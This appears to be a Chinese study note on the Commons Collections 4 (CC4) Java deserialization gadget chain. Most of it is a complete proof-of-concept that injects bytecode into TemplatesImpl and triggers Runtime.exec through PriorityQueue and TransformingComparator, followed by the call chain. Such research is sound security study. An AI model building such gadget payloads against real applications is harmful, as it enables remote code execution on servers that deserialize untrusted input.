环境
java版本:jdk8u66
Commons Collections:4.0
前置知识
CC2和CC3的结合
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassPool; import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class commons_collections4 { public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload = classPool.makeClass("CC4"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode(); Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field = templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl, new byte[][]{bytes}); Field field1 = templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl, "test");
Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[] {Templates.class}, new Object[]{templatesImpl}) }; Transformer transformerChain = new ChainedTransformer(transformers); TransformingComparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(2); Field field2 = queue.getClass().getDeclaredField("comparator"); field2.setAccessible(true); field2.set(queue, comparator);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
|
调用链:
1 2 3 4 5 6 7 8 9 10 11 12
| getTransletInstancePriorityQueue.readObject ->PriorityQueue.heapify ->PriorityQueue.siftDown ->PriorityQueue.siftDownUsingComparator ->TransformingComparator.compare ->ChainedTransformer.transform ->TrAXFilter(构造方法) ->TemplatesImpl.newTransformer ->TemplatesImpl.getTransletInstance ->TemplatesImpl.defineTransletClasses ->(动态创建的类)cc4.newInstance() ->Runtime.exec()
|
CC4链是CC2链和CC3链相结合,其中以CC2链中的PriorityQueue为入口,CC3链中的TrAXFilter+InstantiateTransformer为触发点。
参考
Java安全之Commons Collections4分析 - nice_0e3 - 博客园 (cnblogs.com)